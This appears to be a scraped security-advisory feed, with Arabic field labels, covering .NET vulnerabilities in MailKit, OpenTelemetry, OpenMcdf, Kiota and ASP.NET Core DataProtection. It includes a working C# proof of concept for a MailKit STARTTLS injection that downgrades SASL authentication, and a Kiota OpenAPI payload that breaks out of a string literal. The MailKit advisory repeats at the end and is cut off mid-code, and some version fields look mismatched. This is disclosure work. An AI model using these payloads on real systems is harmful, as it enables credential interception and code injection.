### Summary A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix). ### Details The `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset: ```csharp public Stream Stream { get; internal set; // ← No buffer reset on set! } ``` During the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389): ```csharp // Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer response = Stream.SendCommand("STARTTLS\r\n", cancellationToken); // Swaps to TLS — buffer NOT flushed! var tls = new SslStream(stream, false, ValidateRemoteCertificate); Stream.Stream = tls; SslHandshake(tls, host, cancellationToken); // Reads EHLO response — processes INJECTED pre-TLS data from buffer first! Ehlo(true, cancellationToken); ``` A MitM appends extra data after the `"220 Ready\r\n"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`'s 4096-byte internal buffer. `ReadResponse()` parses `"220 Ready"` and stops — the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream. The same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`. **Attack flow:** ``` Client MitM Real Server |--- STARTTLS ---------->|--- STARTTLS ----------->| | |<-- 220 Ready -----------| |<-- "220 Ready\r\n"-----| | | "250-evil\r\n" | ← INJECTED | | "250 AUTH PLAIN\r\n" | ← INJECTED | | "250 OK\r\n" | ← INJECTED | |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====| |--- EHLO (over TLS) --->| | | Reads from BUFFER: | | | "250 AUTH PLAIN" | ← PRE-TLS DATA | | PROCESSED AS POST-TLS! | | ``` **Suggested fix:** Reset buffer indices when the stream is replaced: ```csharp internal set { stream = value; inputIndex = inputEnd; } ``` ### PoC Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply: ```csharp using System; using System.Net; using System.Net.Security; using System.Net.Sockets; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading; using System.Threading.Tasks; using MailKit.Net.Smtp; using MailKit.Security; class PoC { static void Main() { using var rsa = RSA.Create(2048); var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); var cert = new X509Certificate2(req.CreateSelfSigned( DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx)); var listener = new TcpListener(IPAddress.Loopback, 0); listener.Start(); int port = ((IPEndPoint)listener.LocalEndpoint).Port; Task.Run(() => { using var tcp = listener.AcceptTcpClient(); var s = tcp.GetStream(); Send(s, "220 evil.example.com ESMTP\r\n"); Read(s); Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Read(s); // ATTACK: inject fake EHLO response after "220 Ready" Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n"); var ssl = new SslStream(s, false); ssl.AuthenticateAsServer(cert, false, false); ReadSsl(ssl); SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Thread.Sleep(2000); }); using var client = new SmtpClient(); client.ServerCertificateValidationCallback = (a, b, c, d) => true; client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls); Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}"); // OUTPUT: "Auth mechanisms: PLAIN, LOGIN" // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED client.Disconnect(false); listener.Stop(); } static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } } ``` **Result against MailKit 4.12.0:** ``` Auth mechanisms: PLAIN, LOGIN (Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved) ``` ### Impact Any application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

الإصدارات المتأثرة

All versions < 0.1.0, 0.10.0, 0.11.0, 0.12.0, 0.13.0

نوع الثغرة

CWE-74 — Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

المراجع

الوصف الكامل

### Summary `OpenTelemetry.Sampler.AWS` reads unbounded HTTP response bodies from a configured AWS X-Ray remote sampling endpoint into memory. `OpenTelemetry.Resources.AWS` reads unbounded HTTP response bodies from a configured AWS EC2/ECS/EKS remote instance metadata service endpoint into memory. Both of these would allow an attacker-controlled endpoint or be acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)). ### Details #### OpenTelemetry.Sampler.AWS `AWSXRaySamplerClient.DoRequestAsync` called `HttpClient.SendAsync` followed by `ReadAsStringAsync()`, which materializes the entire HTTP response body into a single in-memory string with no size limit. The sampling endpoint is configurable via `AWSXRayRemoteSamplerBuilder.SetEndpoint` (default: `http://localhost:2000`). An attacker who controls the configured endpoint, or who can intercept traffic to it (MitM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an `OutOfMemoryException` that terminates the process. #### OpenTelemetry.Resources.AWS The [`AWSEC2Detector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSEC2Detector.cs), [`AWSECSDetector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSECSDetector.cs) and [`AWSEKSDetector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSEKSDetector.cs) classes all make HTTP requests to the relevant AWS metadata service (`http://169.254.169.254`, `ECS_CONTAINER_METADATA_URI`/`ECS_CONTAINER_METADATA_URI_V4` or `https://kubernetes.default.svc` respectively) to obtain metadata about the running process and its infrastructure. An attacker who controls the configured endpoint(s), or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an `OutOfMemoryException` that terminates the process. ### Impact Denial of Service (DoS). An attacker can destabilize or crash the application by forcing unbounded memory allocation through the X-Ray sampling and/or EC2/ECS/EKS HTTP response paths. ### Mitigating Factors - The default X-Ray sampling endpoint is `http://localhost:2000`, which limits remote exposure in default configurations. - Risk increases materially when operators configure the sampler to point at a remote or untrusted endpoint. ### Patches Fixed in `OpenTelemetry.Sampler.AWS` version `0.1.0-alpha.8` and `OpenTelemetry.Resources.AWS` version `1.15.1`. The fixes (#4100, #4122) introduce changes that introduce limits to `HttpClient` requests so that the response body is streamed rather than buffered entirely in memory. ### Workarounds - Ensure the X-Ray sampling endpoint (`http://localhost:2000` by default) is not accessible to untrusted parties. - Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the sampling endpoint and/or EC2/ECS/EKS connection. - If using a remote endpoint, place it behind a reverse proxy that enforces a response body size limit.

الإصدارات المتأثرة

< 0.1.0-alpha.8, < 1.15.1

نوع الثغرة

CWE-770 — Resource Exhaustion

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary The implementation details of the baggage, B3 and Jaeger processing code in the `OpenTelemetry.Api` and `OpenTelemetry.Extensions.Propagators` NuGet packages can allocate excessive memory when parsing which could create a potential denial of service (DoS) in the consuming application. ### Details #### Exceeding Limits [`BaggagePropagator.Inject<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/fc1a2864d1665bda857089e11fe9247e3c75637a/src/OpenTelemetry.Api/Context/Propagation/BaggagePropagator.cs#L93-L112) does not enforce the length limit of `8192` characters if the injected baggage contains only one item. This change was introduced by #1048. #### Excessive allocation The following methods eagerly allocate intermediate arrays before applying size limits. - [`BaggagePropagator.Extract<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/888d1bf2489fb7408d3c5e8758a5bbffa89a8fb2/src/OpenTelemetry.Api/Context/Propagation/BaggagePropagator.cs#L52-L55) - this change was introduced by #1048. - [`BaggagePropagator.Inject<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/888d1bf2489fb7408d3c5e8758a5bbffa89a8fb2/src/OpenTelemetry.Api/Context/Propagation/BaggagePropagator.cs#L138-L157) - this change was introduced by #1048. - [`B3Propagator.Extract<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/888d1bf2489fb7408d3c5e8758a5bbffa89a8fb2/src/OpenTelemetry.Extensions.Propagators/B3Propagator.cs#L203-L207) - this change was introduced by #533. - [`B3Propagator.Extract<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/888d1bf2489fb7408d3c5e8758a5bbffa89a8fb2/src/OpenTelemetry.Api/Context/Propagation/B3Propagator.cs#L204-L214) - this change was introduced by #3244. - [`JaegerPropagator.Extract<T>()`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/888d1bf2489fb7408d3c5e8758a5bbffa89a8fb2/src/OpenTelemetry.Extensions.Propagators/JaegerPropagator.cs#L150-L154) - this change was introduced by #3309. ### Impact Excessively large propagation headers, particularly in degenerate/malformed cases that consist or large numbers of delimiter characters, can allocate excessive amounts of memory for intermediate storage of parsed content relative to the size of the original input. ### Mitigation HTTP servers often set maximum limits on the length of HTTP request headers, such as [Internet Information Services (IIS)](https://learn.microsoft.com/iis/configuration/system.webserver/security/requestfiltering/requestlimits/headerlimits/) which sets a default limit of 16KB and [nginx](https://nginx.org/docs/http/ngx_http_core_module.html#large_client_header_buffers) which sets a default limit of 8KB. ### Workarounds Possible workarounds include: - Configuring appropriate HTTP request header limits. - Disabling baggage and/or trace propagation. ### Remediation [#7061](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7061) refactors the handling of baggage, B3 and Jaeger propagation headers to stop parsing eagerly when limits are exceeded and avoid allocating intermediate arrays.

الإصدارات المتأثرة

>= 0.5.0-beta.2, < 1.15.3, >= 1.3.1, < 1.15.3

نوع الثغرة

CWE-789 — CWE-789

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

### Summary When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided `grpc-status-details-bin` trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS). ### Details #5980 introduced a retry path that parses `grpc-status-details-bin` to extract gRPC retry delay information for retryable responses. On that path: - `OtlpGrpcExportClient` captures `grpc-status-details-bin` from retryable status responses (`ResourceExhausted` / `Unavailable`). - `OtlpRetry` invokes `GrpcStatusDeserializer.TryGetGrpcRetryDelay` using this untrusted trailer value. - `GrpcStatusDeserializer.DecodeBytes` decoded a protobuf varint length and allocated `new byte[length]` without validating the bounds against the remaining payload size. A malicious or compromised collector (or a MitM in weakly-protected deployments) could return a crafted `grpc-status-details-bin` payload that forces oversized allocation and memory exhaustion in the instrumented process. ### Impact If an OTLP/gRPC endpoint is attacker-controlled (or traffic is intercepted), a crafted retryable response can trigger large allocations during trailer parsing, which may exhaust memory and cause process instability/crash (availability impact / DoS). ### Mitigation The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs. ### Workarounds None known. ### Remediation [#7064](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064) updates `GrpcStatusDeserializer` to validate decoded length-delimited field sizes before allocation by ensuring the requested length is sane and does not exceed the remaining payload. This causes malformed or truncated `grpc-status-details-bin` payloads to fail safely instead of attempting unbounded allocation.

الإصدارات المتأثرة

>= 1.13.1, < 1.15.3

نوع الثغرة

CWE-789 — CWE-789

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response. ### Details https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both [gRPC](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpGrpcExportClient.cs#L123-L134) and [HTTP/protobuf](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpHttpExportClient.cs#L36-L41). An unintended consequence of this change is that the response body is [fully read into memory when received with no upper-bound](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpExportClient.cs#L68-L89). This vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58. ### Impact If an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition. ### Mitigation The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs. ### Workarounds None known. ### Remediation [#7017](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017) updates the OTLP exporter for both gRPC and HTTP to: - Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781); - Only attempt to read the response body if OpenTelemetry error logging is enabled.

الإصدارات المتأثرة

>= 1.13.1, < 1.15.2

نوع الثغرة

CWE-789 — CWE-789

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary OpenMcdf does not detect cycles in the directory entry red-black tree of a Compound File Binary (CFB) document. A crafted CFB file with a cycle in the `LeftSiblingID` / `RightSiblingID` chain causes `Storage.EnumerateEntries()` and `Storage.OpenStream()` to loop indefinitely, consuming the calling thread with no possibility of recovery via `try/catch`. ### Details CFB directory entries form a red-black tree linked by `LeftSiblingID` and `RightSiblingID` fields. OpenMcdf's `DirectoryTreeEnumerator` and `DirectoryTree.TryGetDirectoryEntry` traverse this tree without tracking visited node IDs, so a crafted cycle (e.g. entry A's `RightSiblingID` points to entry B, and entry B's `LeftSiblingID` points back to entry A) causes traversal to loop indefinitely. Two distinct code paths are affected: - **`Storage.EnumerateEntries()`** - `DirectoryTreeEnumerator.MoveNext()` never returns `false`; the same entry is yielded on every iteration and the caller's `foreach` never exits. Heap grows unboundedly as entries accumulate. - **`Storage.OpenStream()`** - `DirectoryTree.TryGetDirectoryEntry` loops indefinitely inside `DirectoryEntries.TryGetSibling` during the name lookup. ### PoC A crafted CFB file with a sibling cycle (see attached) triggers the issue with the following code: ```csharp using OpenMcdf; using var ms = new MemoryStream(File.ReadAllBytes("crafted.cfb")); using var root = RootStorage.Open(ms); // Never returns - EnumerateEntries loops indefinitely foreach (var entry in root.EnumerateEntries()) { Console.WriteLine(entry.Name); if (entry.Type == EntryType.Stream) root.OpenStream(entry.Name); // also hangs depending on the cycle structure } ``` ### Impact A denial of service affecting any application that opens untrusted CFB files with OpenMcdf. A small crafted input carrying a valid CFB magic header (`D0 CF 11 E0 A1 B1 1A E1`) is sufficient to pass initial format validation and reach the vulnerable traversal code. No exception is thrown, so `try/catch` cannot protect callers. The affected thread is unrecoverable without killing the process.

الإصدارات المتأثرة

< 3.1.3

نوع الثغرة

CWE-835 — CWE-835

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

# CVE Advisory (CVE-2026-41134): Code Generation Literal Injection in Kiota ## Summary Kiota versions **prior to 1.31.1** are affected by a code-generation literal injection vulnerability in multiple writer sinks (for example: serialization/deserialization keys, path/query parameter mappings, URL template metadata, enum/property metadata, and default value emission). When malicious values from an OpenAPI description are emitted into generated source without context-appropriate escaping, an attacker can break out of string literals and inject additional code into generated clients. ## Impact and Preconditions This issue is only practically exploitable when: 1. the OpenAPI description used for generation is from an **untrusted source**, or 2. a normally trusted OpenAPI description has been **compromised/tampered with**. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced. ## Affected Versions - **Affected:** all versions **< 1.31.1** - **Fixed:** **1.31.1** and later ## Illustrative Exploit Example ### Example OpenAPI fragment (malicious default value) ```yaml openapi: 3.0.1 info: title: Exploit Demo version: 1.0.0 components: schemas: User: type: object properties: displayName: type: string default: "\"; throw new System.Exception(\"injected\"); //" ``` ### Example generated C# snippet before fix (illustrative) ```csharp public User() { DisplayName = ""; throw new System.Exception("injected"); //"; } ``` The injected payload escapes the intended string context and introduces attacker-controlled statements in generated code. > Note: this exploit is not limited to default values, but may also impact properties names (serialization), path or query parameters, enum representations and other locations. ## Remediation 1. Upgrade Kiota to **1.31.1 or later**. 2. Regenerate/refresh existing generated clients as a precaution: ```bash kiota update ``` Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. ## Acknowledgement We would like to thank the researcher Thanatos Tian（Polyu) for finding this issue and for his contribution to this open source project.

الإصدارات المتأثرة

All versions < 0.1.0

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

المراجع

الوصف الكامل

## Executive Summary: A bug in `Microsoft.AspNetCore.DataProtection` 10.0.0-10.0.6 NuGet packages can give an attacker the opportunity to execute an Elevation of Privilege attack by forging authentication cookies, and also allows some protected payloads to be decrypted. If an attacker used forged payloads to authenticate as a privileged user during the vulnerable window, they may have induced the application to issue **legitimately-signed** tokens (session refresh, API key, password reset link, etc.) to themselves. Those tokens remain valid after upgrading to 10.0.7 unless the DataProtection key ring is rotated. This is comparable in capability to [MS10-070](https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-070), which exploited a similar padding-oracle condition in ASP.NET's legacy encryption infrastructure. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/395 ## CVSS Details - **Version:** 3.1 - **Severity:** Important - **Score:** 9.1 - **Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - **Weakness:** CWE-347: Improper Verification of Cryptographic Signature ## Affected Platforms - **Platforms:** All - **Architectures:** All ## <a name="affected-packages"></a>Affected Packages The vulnerability affects some Microsoft .NET projects if they use any of affected package versions listed below ### <a name="ASP.NET Core 10"></a>ASP.NET Core 10 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [Microsoft.AspNetCore.DataProtection](https://www.nuget.org/packages/Microsoft.AspNetCore.DataProtection) | >=10.0.0, <=10.0.6 | 10.0.7 ## Advisory FAQ ### <a name="how-affected"></a>How do I know if I am affected? #### Primary affected configuration (10.0.6 on `net10.0`) You are **affected** if ALL of the following are true: - Your application referenced `Microsoft.AspNetCore.DataProtection` version 10.0.6 from NuGet (directly or transitively via, e.g., `Microsoft.AspNetCore.DataProtection.StackExchangeRedis`, `.EntityFrameworkCore`, `.AzureKeyVault`, `.AzureStorage`, `.Redis`), AND The affected 10.0.6 NuGet binary was actually loaded at runtime. This happens when either the application does NOT target the Microsoft.NET.Sdk.Web NOR has a Microsoft.AspNetCore.App framework reference either directly or transitively UNLESS you opt out of PrunePackageReference which is enabled by default in .NET 10. - The application ran on Linux, macOS, or any non-Windows operating system. #### Secondary affected configuration (10.0.x on `net462` / `netstandard2.0`) You are also affected if: - Your application or library referenced `Microsoft.AspNetCore.DataProtection` versions 10.0.0 through 10.0.6 from NuGet, AND - The build consumed the `net462` or `netstandard2.0` target framework asset of that package. This occurs when your application does not target `net10.0` and consumes the package (e.g. `net8.0`, `net9.0`, `net481` for mono, etc.). This combination is unusual because 10.0 NuGet packages are generally intended for use with .NET 10. This secondary population is much smaller and is expected to primarily consist of: - Desktop or server applications on .NET Framework that happen to use the ASP.NET Core DataProtection NuGet package. - Libraries that target `netstandard2.0` and reference the 10.0 DataProtection package. These configurations use the same managed authenticated encryptor code path on all operating systems (the CNG path is only available on the `net10.0` asset), so the Windows exception below does not apply to them. #### Not affected - Your application runs on **Windows** - Your application runs **framework-dependent** on `net10.0` and your installed ASP.NET Core shared framework version is **≥** your PackageReference version of `Microsoft.AspNetCore.DataProtection`. In this case the (correct) shared framework copy is loaded and the NuGet copy is not used. For example, shared framework 10.0.6 + PackageReference 10.0.6 is safe; shared framework 10.0.5 + PackageReference 10.0.6 is not. - Your application uses `Microsoft.AspNetCore.DataProtection` **8.0.x or 9.0.x** from NuGet, on any target framework, any operating system, any shared framework version. The defective code path was introduced during 10.0 development and was never backported to the 8.0 or 9.0 servicing branches. - Your application never referenced any affected version of the package. ### <a name="how-fix"></a>How do I fix the issue? 1. **Upgrade `Microsoft.AspNetCore.DataProtection` to 10.0.7 or later** and redeploy. This fixes the validation routine. Any forged payloads produced during the vulnerable window (which necessarily carried all-zero HMAC bytes) will be rejected by the corrected code. 2. **Rotate the DataProtection key ring** if your application was affected and served internet-exposed endpoints during the vulnerable window. This invalidates any legitimately-signed tokens the application may have issued to attackers during that period. Example using the built-in key manager: ```csharp // Run once, from an application with access to the same key ring. // Replace the cutoff with a timestamp just before you deployed 10.0.6. var services = new ServiceCollection() .AddDataProtection() // ... your existing repository / protection configuration ... .Services .BuildServiceProvider(); var keyManager = services.GetRequiredService<IKeyManager>(); keyManager.RevokeAllKeys( revocationDate: DateTimeOffset.UtcNow, // revoke all keys currently in the ring reason: "CVE-TBD: DataProtection 10.0.6 validation bypass"); ``` `RevokeAllKeys` marks every existing key as revoked; a new key is auto-generated on the next protect operation. All users will need to sign in again, all antiforgery tokens will be reissued, etc. If you can be more surgical — for instance, you know no key older than `T` was used by an affected process — use `RevokeKey(Guid keyId, string reason)` instead to revoke only the keys that were active during the vulnerable window. 3. **Audit application-level long-lived artifacts** that were created during the vulnerable window and carry identity or capability. These survive key rotation and must be rotated at the application layer: - API keys, refresh tokens, or access tokens stored in your database and issued via a protected endpoint. - Password reset links or email-confirmation tokens that were emitted during the window and have not yet expired. - Any other persistent capability that an authenticated request could have caused your application to issue. If your application does not issue such long-lived artifacts via authenticated endpoints, key rotation alone is sufficient. ### Recommended 4. **Audit plaintext stored inside protected payloads.** If your application stores long-lived secrets (database connection strings, third-party API keys, etc.) inside `IDataProtector.Protect` output, treat those secrets as potentially disclosed and rotate them at their respective sources. 5. **Review web server logs** for anomalous request volume against endpoints that accept protected payloads (auth cookies, antiforgery tokens, state parameters). The padding-oracle attack requires many requests per byte recovered — orders of magnitude more than normal traffic for that endpoint. Sustained high-volume traffic with varying cookie/query-parameter values against a single authenticated endpoint during the vulnerable window is a strong indicator. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main ASP.NET Core repo is located at https://github.com/dotnet/aspnetcore. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-40372]( https://www.cve.org/CVERecord?id=CVE-2026-40372) ### Revisions V1.0 (April 21, 2026): Advisory published.

الإصدارات المتأثرة

>= 10.0.0, <= 10.0.6

نوع الثغرة

CWE-347 — CWE-347

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

### Summary A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix). ### Details The `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset: ```csharp public Stream Stream { get; internal set; // ← No buffer reset on set! } ``` During the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389): ```csharp // Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer response = Stream.SendCommand("STARTTLS\r\n", cancellationToken); // Swaps to TLS — buffer NOT flushed! var tls = new SslStream(stream, false, ValidateRemoteCertificate); Stream.Stream = tls; SslHandshake(tls, host, cancellationToken); // Reads EHLO response — processes INJECTED pre-TLS data from buffer first! Ehlo(true, cancellationToken); ``` A MitM appends extra data after the `"220 Ready\r\n"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`'s 4096-byte internal buffer. `ReadResponse()` parses `"220 Ready"` and stops — the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream. The same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`. **Attack flow:** ``` Client MitM Real Server |--- STARTTLS ---------->|--- STARTTLS ----------->| | |<-- 220 Ready -----------| |<-- "220 Ready\r\n"-----| | | "250-evil\r\n" | ← INJECTED | | "250 AUTH PLAIN\r\n" | ← INJECTED | | "250 OK\r\n" | ← INJECTED | |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====| |--- EHLO (over TLS) --->| | | Reads from BUFFER: | | | "250 AUTH PLAIN" | ← PRE-TLS DATA | | PROCESSED AS POST-TLS! | | ``` **Suggested fix:** Reset buffer indices when the stream is replaced: ```csharp internal set { stream = value; inputIndex = inputEnd; } ``` ### PoC Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply: ```csharp using System; using System.Net; using System.Net.Security; using System.Net.Sockets; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading; using System.Threading.Tasks; using MailKit.Net.Smtp; using MailKit.Security; class PoC { static void Main() { using var rsa = RSA.Create(2048); var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); var cert = new X509Certificate2(req.CreateSelfSigned( DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx)); var listener = new TcpListener(IPAddress.Loopback, 0); listener.Start(); int port = ((IPEndPoint)listener.LocalEndpoint).Port; Task.Run(() => { using var tcp = listener.AcceptTcpClient(); var s = tcp.GetStream(); Send(s, "220 evil.example.com ESMTP\r\n"); Read(s); Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Read(s); // ATTACK: inject fake EHLO response after "220 Ready" Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n"); var ssl = new SslStream(s, false); ssl.AuthenticateAsServer(cert, false, false); ReadSsl(ssl); 